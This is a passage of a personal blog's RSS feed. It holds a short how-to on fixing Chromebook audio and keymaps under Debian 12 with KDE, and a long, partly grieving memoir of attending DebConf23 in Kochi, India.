            <enclosure url="https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&ixlib=rb-4.0.3&q=80&w=1080" length="0" type="image//photo-1577998474517-7eeeed4e448a"/>
        </item>
        <item>
            <title><![CDATA[Fixing audio and keymaps in Chromebook Running Debian Bookworm]]></title>
            <link>https://ravidwivedi.in/posts/fixing-audio-and-keymap-in-chromebook-running-debian/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/fixing-audio-and-keymap-in-chromebook-running-debian/</guid>
            <pubDate>Tue, 26 Sep 2023 07:37:22 GMT</pubDate>
            <description><![CDATA[I recently bought an HP Chromebook from Abhas who had already flashed coreboot in it. I ran a fresh installation of Debian 12 (Bookworm) on it with KDE Plasma.
Right after installation, the Wi-Fi and bluetooth were working, but I was facing two issues:
Playing a music file or any audio file does not give any audio.
Keyboard buttons like the ones for brightness and audio adjustment were not working (alphabet keys were working).
Fixing audio
I ran the script mentioned here and that fixed the audio.
The instructions from that link are:
git clone https://github.com/WeirdTreeThing/chromebook-linux-audio
cd chromebook-linux-audio
./setup-audio

Fixing keyboard
To fix the keyboard, go to KDE Settings and in the Hardware section, under the “Keyboard model” box select the option Google | Chromebook as depicted in the screenshot below.

      
Screenshot depicting keyboard layout settings of KDE.
I hope this post fixed the issues for you. Meet you in the next post.]]></description>
            <content:encoded><![CDATA[<p>I recently bought an HP Chromebook from Abhas who had already flashed coreboot in it. I ran a fresh installation of Debian 12 (Bookworm) on it with KDE Plasma.</p>
<p>Right after installation, the Wi-Fi and bluetooth were working, but I was facing two issues:</p>
<ul>
<li>
<p>Playing a music file or any audio file does not give any audio.</p>
</li>
<li>
<p>Keyboard buttons like the ones for brightness and audio adjustment were not working (alphabet keys were working).</p>
</li>
</ul>
<h2 id="fixing-audio">Fixing audio</h2>
<p>I ran the script mentioned <a href="https://github.com/WeirdTreeThing/chromebook-linux-audio">here</a> and that fixed the audio.</p>
<p>The instructions from that link are:</p>
<pre tabindex="0"><code>git clone https://github.com/WeirdTreeThing/chromebook-linux-audio
cd chromebook-linux-audio
./setup-audio
</code></pre><h2 id="fixing-keyboard">Fixing keyboard</h2>
<p>To fix the keyboard, go to KDE Settings and in the Hardware section, under the &ldquo;Keyboard model&rdquo; box select the option <code>Google | Chromebook</code> as depicted in the screenshot below.</p>
<figure><img src="https://ravidwivedi.in/images/keyboard-layout-chromebook.png" width="500" loading="lazy"><figcaption>
      <h4>Screenshot depicting keyboard layout settings of KDE.</h4>
    </figcaption>
</figure>

<p>I hope this post fixed the issues for you. Meet you in the next post.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Debconf23]]></title>
            <link>https://ravidwivedi.in/posts/debconf23/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/debconf23/</guid>
            <pubDate>Fri, 22 Sep 2023 18:19:38 GMT</pubDate>
            <description><![CDATA[Official logo of DebConf23
Introduction
DebConf23, the 24th annual Debian Conference, was held in India in the city of Kochi, Kerala from the 3rd to the 17th of September, 2023. Ever since I got to know about it (which was more than an year ago), I was excited to attend DebConf in my home country. This was my second DebConf, as I attended one last year in Kosovo. I was very happy that I didn’t need to apply for a visa to attend. I got full bursary to attend the event (thanks a lot to Debian for that!) which is always helpful in covering the expenses, especially if the venue is a five star hotel :)
For the conference, I submitted two talks. One was suggested by Sahil on Debian packaging for beginners, while the other was suggested by Praveen who opined that a talk covering broader topics about “freedom” in self-hosting services will be better, when I started discussing about submitting a talk about prav app project. So I submitted one on Debian packaging for beginners and the other on ideas on sustainable solutions for self-hosting.
My friend Suresh - who is enthusiastic about Debian and free software - wanted to attend the DebConf as well. When the registration started, I reminded him about applying. We landed in Kochi on the 28th of August 2023 during the festival of Onam. We celebrated Onam in Kochi, had a trip to Wayanad, and returned to Kochi. On the evening of the 3rd of September, we reached the venue - Four Points Hotel by Sheraton, at Infopark Kochi, Ernakulam, Kerala, India.
Hotel overview
The hotel had 14 floors, and featured a swimming pool and gym (these were included in our package). The hotel gave us elevator access for only our floor, along with public spaces like the reception, gym, swimming pool, and dining areas. The temperature inside the hotel was pretty cold and I had to buy a jacket to survive. Perhaps the hotel was in cahoots with winterwear companies? :)
Four Points Hotel by Sheraton was the venue of DebConf23, photo by rmb




Photo of the pool. Photo credits: Andreas Tille.



      
View from the hotel window.
Meals
On the first day, Suresh and I had dinner at the eatery on the third floor. At the entrance, a member of the hotel staff asked us about how many people we wanted a table for. I told her that it’s just the two of us at the moment, but (as we are attending a conference) we might be joined by others. Regardless, they gave us a table for just two. Within a few minutes, we were joined by Alper from Turkey and urbec from Germany. So we shifted to a larger table…but then we were joined by even more people, so we were busy adding more chairs to our table. urbec had already been in Kerala for the past 5-6 days and was, on one hand, very happy already with the quality and taste of bananas in Kerala…and on the other, rather afraid of the spicy food :)
Two days later, the lunch and dinner were shifted to the All Spice Restaurant on the 14th floor, but the breakfast was still served at the eatery. Since the eatery (on the 3rd floor) had greater variety of food than the other venue, this move made breakfast the best meal for me and many others. Many attendees from outside India were not accustomed to the “spicy” food. It is difficult for locals to help them, because what we consider mild can be spicy for others. It is not easy to satisfy everyone at the dining table, but I think the organizing team did a very good job in the food department. (That said, it didn’t matter for me after a point, and you will know why.) The pappadam were really good, and I liked the rice labelled “Kerala rice”. I actually brought that exact rice and pappadam home during my last trip to Kochi and everyone at my home liked it too (thanks to Abhijit PA). I also wished to eat all types of payasams from Kerala and this really happened (thanks to Sruthi who designed the menu). Every meal had a different variety of payasam and it was awesome, although I didn’t like some of them, mostly because they were very sweet. Meals were later shifted to the ground floor (taking away the best breakfast option which was the eatery).
This place served as lunch and dinner place and later as hacklab during debconf. Photo credits: Bilal

The excellent Swag Bag
The DebConf registration desk was at the second floor. We were given a very nice swag bag. They were available in multiple colors - grey, green, blue, red - and included an umbrella, a steel mug, a multiboot USB drive by Mostly Harmless, a thermal flask, a mug by Canonical, a paper coaster, and stickers. It rained almost every day in Kochi during our stay, so handing out an umbrella to every attendee was a good idea.
Picture of the awesome swag bag given at DebConf23. Photo credits: Ravi Dwivedi

A gift for Nattie
During breakfast one day, Nattie (Belgium) expressed the desire to buy a coffee filter. The next time I went to the market, I bought a coffee filter for her as a gift. She seemed happy with the gift and was flattered to receive a gift from a young man :)
Being a mentor
There were many newbies who were eager to learn and contribute to Debian. So, I mentored whoever came to me and was interested in learning. I conducted a packaging workshop in the bootcamp, but could only cover how to set up the Debian Unstable environment, and had to leave out how to package (but I covered that in my talk). Carlos (Brazil) gave a keysigning session in the bootcamp. Praveen was also mentoring in the bootcamp. I helped people understand why we sign GPG keys and how to sign them. I planned to take a workshop on it but cancelled it later.
My talk
My Debian packaging talk was on the 10th of September, 2023. I had not prepared slides for my Debian packaging talk in advance - I thought that I could do it during the trip, but I didn’t get the time…so I prepared them on the day before the talk. Since it was mostly a tutorial, the slides did not need much preparation. My thanks to Suresh, who helped me with the slides and made it possible to complete them in such a short time frame.
My talk was well-received by the audience, going by their comments. I am glad that I could give an interesting presentation.
My presentation photo. Photo credits: Valessio

Visiting a saree shop
After my talk, Suresh, Alper, and I went with Anisa and Kristi - who are both from Albania, and have a never-ending fascination for Indian culture :) - to buy them sarees. We took autos to Kakkanad market and found a shop with a great variety of sarees. I was slightly familiar with the area around the hotel, as I had been there for a week. Indian women usually don’t try on sarees while buying - they just select the design. But Anisa wanted to put one on and take a few photos as well. The shop staff did not have a trial saree for this purpose, so they took a saree from a mannequin. It took about an hour for the lady at the shop to help Anisa put on that saree…but you could tell that she was in heaven wearing that saree, and she bought it immediately :) Alper also bought a saree to take back to Turkey for his mother. Me and Suresh wanted to buy a kurta which would go well with the mundu we already had, but we could not find anything to our liking.
Selfie with Anisa and Kristi. Photo credits: Anisa.

Cheese and Wine Party
On the 11th of September we had the Cheese and Wine Party, a tradition of every DebConf. I brought Kaju Samosa and Nankhatai from home. Many attendees expressed their appreciation for the samosas. During the party, I was with Abhas and had a lot of fun. Abhas brought packets of paan and served them at the Cheese and Wine Party. We discussed interesting things and ate burgers. But due to the restrictive alcohol laws in the state, it was less fun compared to the previous DebConfs - you could only drink alcohol served by the hotel in public places. If you bought your own alcohol, you could only drink in private places (such as in your room, or a friend’s room), but not in public places.
Me helping with the Cheese and Wine Party.

Party at my room
Last year, Joenio (Brazilian) brought pastis from France which I liked. He brought the same alocholic drink this year too. So I invited him to my room after the Cheese and Wine party to have pastis. My idea was to have them with my roommate Suresh and Joenio. But then we permitted Joenio to bring as many people as he wanted…and he ended up bringing some ten people. Suddenly, the room was crowded. I was having good time at the party, serving them the snacks given to me by Abhas. The news of an alcohol party at my room spread like wildfire. Soon there were so many people that the AC became ineffective and I found myself sweating.
I left the room and roamed around in the hotel for some fresh air. I came back after about 1.5 hours - for most part, I was sitting at the ground floor with TK Saurabh. And then I met Abraham near the gym (which was my last meeting with him). I came back to my room at around 2:30 AM. Nobody seemed to have realized that I was gone. They were thanking me for hosting such a good party. A lot of people left at that point and the remaining people were playing songs and dancing (everyone was dancing all along!). I had no energy left to dance and to join them. They left around 03:00 AM. But I am glad that people enjoyed partying in my room.
This picture was taken when there were few people in my room for the party.

Sadhya Thali
On the 12th of September, we had a sadhya thali for lunch. It is a vegetarian thali served on a banana leaf on the eve of Thiruvonam. It wasn’t Thiruvonam on this day, but we got a special and filling lunch. The rasam and payasam were especially yummy.
Sadhya Thali: A vegetarian meal served on banana leaf. Payasam and rasam were especially yummy! Photo credits: Ravi Dwivedi.



Sadhya thali being served at debconf23. Photo credits: Bilal

Day trip
On the 13th of September, we had a daytrip. I chose the daytrip houseboat in Allepey. Suresh chose the same, and we registered for it as soon as it was open. This was the most sought-after daytrip by the DebConf attendees - around 80 people registered for it.
Our bus was set to leave at 9 AM on the 13th of September. Me and Suresh woke up at 8:40 and hurried to get to the bus in time. It took two hours to reach the venue where we get the houseboat.
The houseboat experience was good. The trip featured some good scenery. I got to experience the renowned Kerala backwaters. We were served food on the boat. We also stopped at a place and had coconut water. By evening, we came back to the place where we had boarded the boat.
Group photo of our daytrip. Photo credits: Radhika Jhalani

A good friend lost
When we came back from the daytrip, we received news that Abhraham Raji was involved in a fatal accident during a kayaking trip.
Abraham Raji was a very good friend of mine. In my Albania-Kosovo-Dubai trip last year, he was my roommate at our Tirana apartment. I roamed around in Dubai with him, and we had many discussions during DebConf22 Kosovo. He was the one who took the photo of me on my homepage. I also met him in MiniDebConf22 Palakkad and MiniDebConf23 Tamil Nadu, and went to his flat in Kochi this year in June.
We had many projects in common. He was a Free Software activist and was the designer of the DebConf23 logo, in addition to those for other Debian events in India.
A selfie in memory of Abraham.

We were all fairly shocked by the news. I was devastated. Food lost its taste, and it became difficult to sleep. That night, Anisa and Kristi cheered me up and gave me company. Thanks a lot to them.
The next day, Joenio also tried to console me. I thank him for doing a great job. I thank everyone who helped me in coping with the difficult situation.
On the next day (the 14th of September), the Debian project leader Jonathan Carter addressed and announced the news officially. THe Debian project also mentioned it on their website.
Abraham was supposed to give a talk, but following the incident, all talks were cancelled for the day. The conference dinner was also cancelled.
As I write, 9 days have passed since his death, but even now I cannot come to terms with it.
Visiting Abraham’s house
On the 15th of September, the conference ran two buses from the hotel to Abraham’s house in Kottayam (2 hours ride). I hopped in the first bus and my mood was not very good. Evangelos (Germany) was sitting opposite me, and he began conversing with me. The distraction helped and I was back to normal for a while. Thanks to Evangelos as he supported me a lot on that trip. He was also very impressed by my use of the StreetComplete app which I was using to edit OpenStreetMap.
In two hours, we reached Abraham’s house. I couldn’t control myself and burst into tears. I went to see the body. I met his family (mother, father and sister), but I had nothing to say and I felt helpless. Owing to the loss of sleep and appetite over the past few days, I had no energy, and didn’t think it was good idea for me to stay there. I went back by taking the bus after one hour and had lunch at the hotel. I withdrew my talk scheduled for the 16th of September.
A Japanese gift
I got a nice Japanese gift from Niibe Yutaka (Japan) - a folder to keep papers which had ancient Japanese manga characters. He said he felt guilty as he swapped his talk with me and so it got rescheduled from 12th September to 16 September which I withdrew later.
Thanks to Niibe Yutaka (the person towards your right hand) from Japan (FSIJ), who gave me a wonderful Japanese gift during debconf23: A folder to keep pages with ancient Japanese manga characters printed on it. I realized I immediately needed that :)



This is the Japanese gift I received.

Group photo
On the 16th of September, we had a group photo. I am glad that this year I was more clear in this picture than in DebConf22.
Volunteer work and talks attended
I attended the training session for the video team and worked as a camera operator. The Bits from DPL was nice. I enjoyed Abhas’ presentation on home automation. He basically demonstrated how he liberated Internet-enabled home devices. I also liked Kristi’s presentation on ways to engage with the GNOME community.
Bits from the DPL. Photo credits: Bilal



Kristi on GNOME community. Photo credits: Ravi Dwivedi.



Abhas' talk on home automation. Photo credits: Ravi Dwivedi.

I also attended lightning talks on the last day. Badri, Wouter, and I gave a demo on how to register on the Prav app. Prav got a fair share of advertising during the last few days.
I was roaming around with a QR code on my T-shirt for downloading Prav.

Departure day
The 18th of September was the day of departure. Badri slept in my room and left early morning (06:30 AM). I dropped him off at the hotel gate. The breakfast was at the eatery (3rd floor) again.
I had an 8 PM flight from Kochi to Delhi, for which I took a cab with Rhonda (Austria), Michael (Nigeria) and Yash (India). We were joined by other DebConf23 attendees at the Kochi airport, where we took another selfie.
Ruchika (taking the selfie) and from left to right: Yash, Joost (Netherlands), me, Rhonda

Joost and I were on the same flight, and we sat next to each other. He then took a connecting flight from Delhi to Netherlands, while I went with Yash to the New Delhi Railway Station, where we took our respective trains. I reached home on the morning of the 19th of September, 2023.
Joost and me going to Delhi. Photo credits: Ravi.

Big thanks to the organizers
DebConf23 was hard to organize - strict alcohol laws, weird hotel rules, death of a close friend (almost a family member), and a scary notice by the immigration bureau. The people from the team are my close friends and I am proud of them for organizing such a good event.
None of this would have been possible without the organizers who put more than a year-long voluntary effort to produce this. In the meanwhile, many of them had organized local events in the time leading up to DebConf. Kudos to them.
The organizers also tried their best to get clearance for countries not approved by the ministry. I am also sad that people from China, Kosovo, and Iran could not join. In particular, I feel bad for people from Kosovo who wanted to attend but could not (as India does not consider their passport to be a valid travel document), considering how we Indians were so well-received in their country last year.
Note about myself
I am writing this on the 22nd of September, 2023. It took me three days to put up this post - this was one of the tragic and hard posts for me to write. I have literally forced myself to write this. I have still not recovered from the loss of my friend. Thanks a lot to all those who helped me.
PS: Credits to contrapunctus for making grammar, phrasing, and capitalization changes.]]></description>
            <content:encoded><![CDATA[<figure><img src="https://ravidwivedi.in/images/debconf23/DebConf_2023_Logo.png" width="256" loading="lazy"><figcaption>
      <h4>Official logo of DebConf23</h4>
    </figcaption>
</figure>

<h2 id="introduction">Introduction</h2>
<p><a href="https://debconf23.debconf.org/">DebConf23</a>, the 24th annual Debian Conference, was held in India in the city of Kochi, Kerala from the 3rd to the 17th of September, 2023. Ever since I got to know about it (which was more than an year ago), I was excited to attend DebConf in my home country. This was my second DebConf, as I <a href="https://ravidwivedi.in/posts/my-experience-attending-debconf22">attended one last year in Kosovo</a>. I was very happy that I didn&rsquo;t need to apply for a visa to attend. I got full bursary to attend the event (thanks a lot to Debian for that!) which is always helpful in covering the expenses, especially if the venue is a five star hotel :)</p>
<p>For the conference, I submitted two talks. One was suggested by <a href="https://sahilister.in">Sahil</a> on Debian packaging for beginners, while the other was suggested by Praveen who opined that a talk covering broader topics about &ldquo;freedom&rdquo; in self-hosting services will be better, when I started discussing about submitting a talk about <a href="https://prav.app">prav app project</a>. So I submitted <a href="https://debconf23.debconf.org/talks/81-a-beginners-guide-to-debian-packaging/">one on Debian packaging for beginners</a> and the other on <a href="https://debconf23.debconf.org/talks/83-sustainable-solutions-for-self-hosting/">ideas on sustainable solutions for self-hosting</a>.</p>
<p>My friend Suresh - who is enthusiastic about Debian and free software - wanted to attend the DebConf as well. When the registration started, I reminded him about applying. We landed in Kochi on the 28th of August 2023 during the festival of Onam. We celebrated Onam in Kochi, had a trip to Wayanad, and returned to Kochi. On the evening of the 3rd of September, we reached the venue - Four Points Hotel by Sheraton, at Infopark Kochi, Ernakulam, Kerala, India.</p>
<h2 id="hotel-overview">Hotel overview</h2>
<p>The hotel had 14 floors, and featured a swimming pool and gym (these were included in our package). The hotel gave us elevator access for only our floor, along with public spaces like the reception, gym, swimming pool, and dining areas. The temperature inside the hotel was pretty cold and I had to buy a jacket to survive. Perhaps the hotel was in cahoots with winterwear companies? :)</p>
<figure>
<img loading="lazy"
	src="https://ravidwivedi.in/images/debconf23/Four-Points-by-Sheraton-Hotel-Kakkanad-Kochi.avif"
	width="512">
<figcaption>Four Points Hotel by Sheraton was the venue of DebConf23, <a href="https://commons.wikimedia.org/wiki/File:Four_Points_by_Sheraton_Hotel,_Kakkanad,_Kochi.avif">photo by rmb</a>
</figcaption>
</figure>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/four-points-pool.avif" width="512">
<figcaption>Photo of the pool. Photo credits: Andreas Tille.
</figcaption>
</figure>
<figure><img src="https://ravidwivedi.in/images/debconf23/outside-view-from-the-hotel-window.avif" loading="lazy"><figcaption>
      <h4>View from the hotel window.</h4>
    </figcaption>
</figure>

<h2 id="meals">Meals</h2>
<p>On the first day, Suresh and I had dinner at the eatery on the third floor. At the entrance, a member of the hotel staff asked us about how many people we wanted a table for. I told her that it&rsquo;s just the two of us at the moment, but (as we are attending a conference) we might be joined by others. Regardless, they gave us a table for just two. Within a few minutes, we were joined by Alper from Turkey and urbec from Germany. So we shifted to a larger table&hellip;but then we were joined by even more people, so we were busy adding more chairs to our table. urbec had already been in Kerala for the past 5-6 days and was, on one hand, very happy already with the quality and taste of bananas in Kerala&hellip;and on the other, rather afraid of the spicy food :)</p>
<p>Two days later, the lunch and dinner were shifted to the All Spice Restaurant on the 14th floor, but the breakfast was still served at the eatery. Since the eatery (on the 3rd floor) had greater variety of food than the other venue, this move made breakfast the best meal for me and many others. Many attendees from outside India were not accustomed to the &ldquo;spicy&rdquo; food. It is difficult for locals to help them, because what we consider mild can be spicy for others. It is not easy to satisfy everyone at the dining table, but I think the organizing team did a very good job in the food department. (That said, it didn&rsquo;t matter for me after a point, and you will know why.) The pappadam were really good, and I liked the rice labelled &ldquo;Kerala rice&rdquo;. I actually brought that exact rice and pappadam home during my last trip to Kochi and everyone at my home liked it too (thanks to <a href="https://abhijithpa.me/">Abhijit PA</a>). I also wished to eat all types of payasams from Kerala and this really happened (thanks to Sruthi who designed the menu). Every meal had a different variety of payasam and it was awesome, although I didn&rsquo;t like some of them, mostly because they were very sweet. Meals were later shifted to the ground floor (taking away the best breakfast option which was the eatery).</p>
<figure>
<img loading ="lazy"
	src="https://ravidwivedi.in/images/debconf23/hacklab.avif"
	width="512">
<figcaption>This place served as lunch and dinner place and later as hacklab during debconf. Photo credits: Bilal</figcaption>
</figure>
<h2 id="the-excellent-swag-bag">The excellent Swag Bag</h2>
<p>The DebConf registration desk was at the second floor. We were given a very nice swag bag. They were available in multiple colors - grey, green, blue, red - and included an umbrella, a steel mug, a multiboot USB drive by <a href="https://mostlyharmless.io">Mostly Harmless</a>, a thermal flask, a mug by Canonical, a paper coaster, and stickers. It rained almost every day in Kochi during our stay, so handing out an umbrella to every attendee was a good idea.</p>
<figure>
<img loading="lazy"
	src="https://ravidwivedi.in/images/debconf23/swag-bag.avif"
	width="512">
<figcaption>Picture of the awesome swag bag given at DebConf23. Photo credits: Ravi Dwivedi</figcaption>
</figure>
<h2 id="a-gift-for-nattie">A gift for Nattie</h2>
<p>During breakfast one day, Nattie (Belgium) expressed the desire to buy a coffee filter. The next time I went to the market, I bought a coffee filter for her as a gift. She seemed happy with the gift and was flattered to receive a gift from a young man :)</p>
<h2 id="being-a-mentor">Being a mentor</h2>
<p>There were many newbies who were eager to learn and contribute to Debian. So, I mentored whoever came to me and was interested in learning. I conducted a packaging workshop in the bootcamp, but could only cover how to set up the Debian Unstable environment, and had to leave out how to package (but I covered that in my talk). Carlos (Brazil) gave a keysigning session in the bootcamp. Praveen was also mentoring in the bootcamp. I helped people understand why we sign GPG keys and how to sign them. I planned to take a workshop on it but cancelled it later.</p>
<h2 id="my-talk">My talk</h2>
<p>My Debian packaging talk was on the 10th of September, 2023. I had not prepared slides for my Debian packaging talk in advance - I thought that I could do it during the trip, but I didn&rsquo;t get the time&hellip;so I prepared them on the day before the talk. Since it was mostly a tutorial, the slides did not need much preparation. My thanks to Suresh, who helped me with the slides and made it possible to complete them in such a short time frame.</p>
<p>My talk was well-received by the audience, going by their comments. I am glad that I could give an interesting presentation.</p>
<figure>
<img loading="lazy"
	src="https://ravidwivedi.in/images/debconf23/ravi-talk.avif">
<figcaption>My presentation photo. Photo credits: Valessio</figcaption>
</figure>
<h2 id="visiting-a-saree-shop">Visiting a saree shop</h2>
<p>After my talk, Suresh, Alper, and I went with <a href="https://anisakuci.com/">Anisa</a> and <a href="https://kristiprogri.com/">Kristi</a> - who are both from Albania, and have a never-ending fascination for Indian culture :) - to buy them sarees. We took autos to Kakkanad market and found a shop with a great variety of sarees. I was slightly familiar with the area around the hotel, as I had been there for a week. Indian women usually don&rsquo;t try on sarees while buying - they just select the design. But Anisa wanted to put one on and take a few photos as well. The shop staff did not have a trial saree for this purpose, so they took a saree from a mannequin. It took about an hour for the lady at the shop to help Anisa put on that saree&hellip;but you could tell that she was in heaven wearing that saree, and she bought it immediately :) Alper also bought a saree to take back to Turkey for his mother. Me and Suresh wanted to buy a kurta which would go well with the mundu we already had, but we could not find anything to our liking.</p>
<figure>
<img loading="lazy"
     src="https://ravidwivedi.in/images/debconf23/selfie-with-anisa-kristi.avif">
<figcaption>Selfie with Anisa and Kristi. Photo credits: Anisa.</figcaption>
</figure>
<h2 id="cheese-and-wine-party">Cheese and Wine Party</h2>
<p>On the 11th of September we had the Cheese and Wine Party, a tradition of every DebConf. I brought Kaju Samosa and <a href="https://en.wikipedia.org/wiki/Nankhatai">Nankhatai</a> from home. Many attendees expressed their appreciation for the samosas. During the party, I was with Abhas and had a lot of fun. Abhas brought packets of paan and served them at the Cheese and Wine Party. We discussed interesting things and ate burgers. But due to the restrictive alcohol laws in the state, it was less fun compared to the previous DebConfs - you could only drink alcohol served by the hotel in public places. If you bought your own alcohol, you could only drink in private places (such as in your room, or a friend&rsquo;s room), but not in public places.</p>
<figure>
<img loading="lazy"
     src="https://ravidwivedi.in/images/debconf23/me-helping-with-cheese-and-wine-party.avif"
     width=400px>
<figcaption>Me helping with the Cheese and Wine Party.</figcaption>
</figure>
<h2 id="party-at-my-room">Party at my room</h2>
<p>Last year, <a href="http://joenio.me/">Joenio</a> (Brazilian) brought pastis from France which I liked. He brought the same alocholic drink this year too. So I invited him to my room after the Cheese and Wine party to have pastis. My idea was to have them with my roommate Suresh and Joenio. But then we permitted Joenio to bring as many people as he wanted&hellip;and he ended up bringing some ten people. Suddenly, the room was crowded. I was having good time at the party, serving them the snacks given to me by Abhas. The news of an alcohol party at my room spread like wildfire. Soon there were so many people that the AC became ineffective and I found myself sweating.</p>
<p>I left the room and roamed around in the hotel for some fresh air. I came back after about 1.5 hours - for most part, I was sitting at the ground floor with TK Saurabh. And then I met Abraham near the gym (which was my last meeting with him). I came back to my room at around 2:30 AM. Nobody seemed to have realized that I was gone. They were thanking me for hosting such a good party. A lot of people left at that point and the remaining people were playing songs and dancing (everyone was dancing all along!). I had no energy left to dance and to join them. They left around 03:00 AM. But I am glad that people enjoyed partying in my room.</p>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/my-room-party.avif">
<figcaption>This picture was taken when there were few people in my room for the party.</figcaption>
</figure>
<h2 id="sadhya-thali">Sadhya Thali</h2>
<p>On the 12th of September, we had a sadhya thali for lunch. It is a vegetarian thali served on a banana leaf on the eve of Thiruvonam. It wasn&rsquo;t Thiruvonam on this day, but we got a special and filling lunch. The rasam and payasam were especially yummy.</p>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/sadhya-thali.avif">
<figcaption>Sadhya Thali: A vegetarian meal served on banana leaf. Payasam and rasam were especially yummy! Photo credits: Ravi Dwivedi.</figcaption>
</figure>
<figure>
<img loading="lazy"
     src="https://ravidwivedi.in/images/debconf23/sadhya-being-served.avif">
<figcaption>Sadhya thali being served at debconf23. Photo credits: Bilal</figcaption>
</figure>
<h2 id="day-trip">Day trip</h2>
<p>On the 13th of September, we had a <a href="https://wiki.debian.org/DebConf/23/DayTrip">daytrip</a>. I chose the daytrip houseboat in Allepey. Suresh chose the same, and we registered for it as soon as it was open. This was the most sought-after daytrip by the DebConf attendees - around 80 people registered for it.</p>
<p>Our bus was set to leave at 9 AM on the 13th of September. Me and Suresh woke up at 8:40 and hurried to get to the bus in time. It took two hours to reach the venue where we get the houseboat.</p>
<p>The houseboat experience was good. The trip featured some good scenery. I got to experience the renowned Kerala backwaters. We were served food on the boat. We also stopped at a place and had coconut water. By evening, we came back to the place where we had boarded the boat.</p>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/daytrip-group-photo.avif">
<figcaption>Group photo of our daytrip. Photo credits: Radhika Jhalani</figcaption>
</figure>
<h2 id="a-good-friend-lost">A good friend lost</h2>
<p>When we came back from the daytrip, we received news that Abhraham Raji was involved in a fatal accident during a kayaking trip.</p>
<p>Abraham Raji was a very good friend of mine. In my Albania-Kosovo-Dubai trip last year, he was my roommate at our Tirana apartment. I <a href="https://ravidwivedi.in/posts/layover-in-dubai">roamed around in Dubai</a> with him, and we had many discussions during DebConf22 Kosovo. He was the one who took the photo of me on my homepage. I also met him in MiniDebConf22 Palakkad and MiniDebConf23 Tamil Nadu, and went to his flat in Kochi this year in June.</p>
<p>We had many projects in common. He was a Free Software activist and was the designer of the DebConf23 logo, in addition to those for other Debian events in India.</p>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/a-pic-with-abraham.avif">
<figcaption>A selfie in memory of Abraham.</figcaption>
</figure>
<p>We were all fairly shocked by the news. I was devastated. Food lost its taste, and it became difficult to sleep. That night, Anisa and Kristi cheered me up and gave me company. Thanks a lot to them.</p>
<p>The next day, Joenio also tried to console me. I thank him for doing a great job. I thank everyone who helped me in coping with the difficult situation.</p>
<p>On the next day (the 14th of September), the Debian project leader Jonathan Carter addressed and announced the news officially. THe Debian project also <a href="https://www.debian.org/News/2023/20230914">mentioned</a> it on their website.</p>
<p>Abraham was supposed to give a talk, but following the incident, all talks were cancelled for the day. The conference dinner was also cancelled.</p>
<p>As I write, 9 days have passed since his death, but even now I cannot come to terms with it.</p>
<h2 id="visiting-abrahams-house">Visiting Abraham&rsquo;s house</h2>
<p>On the 15th of September, the conference ran two buses from the hotel to Abraham&rsquo;s house in Kottayam (2 hours ride). I hopped in the first bus and my mood was not very good. Evangelos (Germany) was sitting opposite me, and he began conversing with me. The distraction helped and I was back to normal for a while. Thanks to Evangelos as he supported me a lot on that trip. He was also very impressed by my use of the StreetComplete app which I was using to edit OpenStreetMap.</p>
<p>In two hours, we reached Abraham&rsquo;s house. I couldn&rsquo;t control myself and burst into tears. I went to see the body. I met his family (mother, father and sister), but I had nothing to say and I felt helpless. Owing to the loss of sleep and appetite over the past few days, I had no energy, and didn&rsquo;t think it was good idea for me to stay there. I went back by taking the bus after one hour and had lunch at the hotel. I withdrew my talk scheduled for the 16th of September.</p>
<h2 id="a-japanese-gift">A Japanese gift</h2>
<p>I got a nice Japanese gift from Niibe Yutaka (Japan) - a folder to keep papers which had ancient Japanese manga characters. He said he felt guilty as he swapped his talk with me and so it got rescheduled from 12th September to 16 September which I withdrew later.</p>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/photo-with-Niibe-Yutaka.avif">
<figcaption>Thanks to Niibe Yutaka (the person towards your right hand) from Japan (FSIJ), who gave me a wonderful Japanese gift during debconf23: A folder to keep pages with ancient Japanese manga characters printed on it. I realized I immediately needed that :)</figcaption>
</figure>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/japanese-gift.avif">
<figcaption>This is the Japanese gift I received.</figcaption>
</figure>
<h2 id="group-photo">Group photo</h2>
<p>On the 16th of September, we had a group photo. I am glad that this year I was more clear in this picture than in DebConf22.</p>
<h2 id="volunteer-work-and-talks-attended">Volunteer work and talks attended</h2>
<p>I attended the training session for the video team and worked as a camera operator. The <a href="https://debconf23.debconf.org/talks/60-bits-from-the-dpl/">Bits from DPL</a> was nice. I enjoyed Abhas&rsquo; presentation on <a href="https://debconf23.debconf.org/talks/94-home-automation-using-free-software/">home automation</a>. He basically demonstrated how he liberated Internet-enabled home devices. I also liked Kristi&rsquo;s presentation on <a href="https://debconf23.debconf.org/talks/35-gnome-community-and-ways-to-engage/">ways to engage with the GNOME community</a>.</p>
<figure>
<img loading="lazy"
     src="https://ravidwivedi.in/images/debconf23/bits-from-the-dpl.avif">
<figcaption>Bits from the DPL. Photo credits: Bilal</figcaption>
</figure>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/kristi-talk.avif">
<figcaption>Kristi on GNOME community. Photo credits: Ravi Dwivedi.</figcaption>
</figure>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/abhas-talk.avif" width=700px>
<figcaption>Abhas' talk on home automation. Photo credits: Ravi Dwivedi.</figcaption>
</figure>
<p>I also attended lightning talks on the last day. Badri, Wouter, and I gave a demo on how to register on the <a href="https://prav.app">Prav app</a>. Prav got a fair share of advertising during the last few days.</p>
<figure>
<img loading="lazy" src="https://salsa.debian.org/debconf-team/public/share/debconf23/-/raw/main/photos/ravi/prav/2023-09-17-18-57-32-508.avif">
<figcaption>I was roaming around with a QR code on my T-shirt for downloading Prav.</figcaption>
</figure>
<h2 id="departure-day">Departure day</h2>
